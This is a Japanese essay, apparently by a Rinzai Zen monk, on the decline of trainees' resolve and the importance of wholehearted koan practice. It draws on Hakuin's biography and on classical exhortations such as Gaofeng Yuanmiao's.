「禅の公案工夫」2014年11月【No.137】

近頃は在家から発心して出家するものも少なくなり、大方の臨済宗の専門道場も雲衲の数が減っていると聴く。その中で堅固な道心をもって目の色を変えて真剣に日夜工夫三昧に邁進する者は、まことに稀であろう。雲衲の師匠の中には、「弟子を僧堂にこれ以上引き留めずに早く寺に帰してほしい」と老師に苦情をいう人もいるという。小衲の修行時代と比べて明らかにすべてが衰微してきているように思われる。こんな有様(ありさま)では宗門の将来が思いやられる。一体、どうしてこんな状況になってしまったのであろうか。

原因の最たるものは、何といっても雲水自身が、専門道場に掛搭する前にしっかりした道心を養うことを怠っているからではないか。小衲も禅に関心を持ち始めてからは、他人に忠告されることなく自ら古人刻苦の模範的修行振りを学ぶことによって、次第に道心が育っていったように思う。白隠禅師の伝記や年譜、『近世禅林僧宝伝』、『禅関策進』、道元禅師の『正法眼蔵随聞記』などは恰好の法財であった。他人の忠告を受けてようやくやり出すようなことではなかなか自分の身に付かない。本人が自発的に進んで道を模索するようでなければなるまい。自分自身で模索した結果、たとえ一端は道に迷い、回り道となったとしても、それはすべて自らの糧となるはずである。

五百年間出の大禅匠といわれる白隠禅師の年譜を拝読すると、禅師は、唐代の名僧・巌頭和尚が賊のために首を切られたことを知ったことによって禅修行に疑念を生じ、危うく道を踏み外しそうになる。しかし美濃大垣にある瑞雲寺の馬翁和尚に師事していた折りに『禅関策進』の「慈明引錐」(慈明和尚が苦寒の中で股に錐を刺して眠気を退散させた)の故事を知り、猛省して再び燃えるような求道心をもって修行に邁進するのである。この一段は誰しも忘れがたい感銘を受けるのではないか。白隠年譜にはわれわれの道心を搔き立てるこうした逸話が枚挙に暇がない。古人刻苦の芳躅を知ることは禅修行の進展に不可欠だといえるであろう。

雲衲自身が脇目も振らずに長期間にわたり修行に邁進するためには、さらに法理の会得が重要であると思われる。「何故に禅の修行をしなければならぬのか」という法理が明確になっていれば、いかなる苦難や障害に出くわそうが、容易にぐらつくものではない。

最後にもっとも大切なことは、古人の逸話や法理を知るだけではなく、自分も実際に「古人何者ぞ、われ何人ぞ」という気概を打ち立てて骨を折って修行することである。目の色を変えて工夫三昧になっていれば自ずから佳境に入り、何らかの機縁に触れて境地が展開することがある。それがなければ、あるまでやり抜くことである。

公案工夫はまさに命懸けの工夫である。「座右の銘」で有名な中峰和尚の師である高峰原妙禅師は公案工夫の真髄を次のように説かれる。
「もし混ざり物のない純鉄で鋳造した如くに道心堅固の鉄漢がいて、この一大事を確(しか)と明らかにしたいと願うならば、直ちに大志を発し大願を立て、心の惑乱を退け妄想・分別を断ち切らねばならぬ。それはちょうど危険な早瀬の只中で舟を留めるのに似ている。危亡・得失・人我・是非を顧みずに、寝食を忘じ、思慮分別を絶して、昼となく夜となく参究して、心念を途切らすことなく相続し、足場をしっかりとし、奥歯を噛みしめて、舟のとも綱を捉えて緩めることなく、微塵の余所見(よそみ)もしない。もし誰か人がいて、汝の頭を切り取り、汝の手足を切り落し、汝の心臓や肝臓をえぐり取り、そのために命が尽きることになろうとも、とも綱を捨ててはならない。そうしてこそ、まさに本格的な工夫をしていると呼べる風情が些かあるというものである。」

何という凄まじい工夫の挙揚であろうか。とはいえ公案工夫に没頭する者はこの覚悟がなくてはならない。この決定心があれば、必ずや工夫純熟すること疑い無しである。一人でも多くの人が公案工夫の醍醐味を味わって法悦の日々を送って頂きたいものである。

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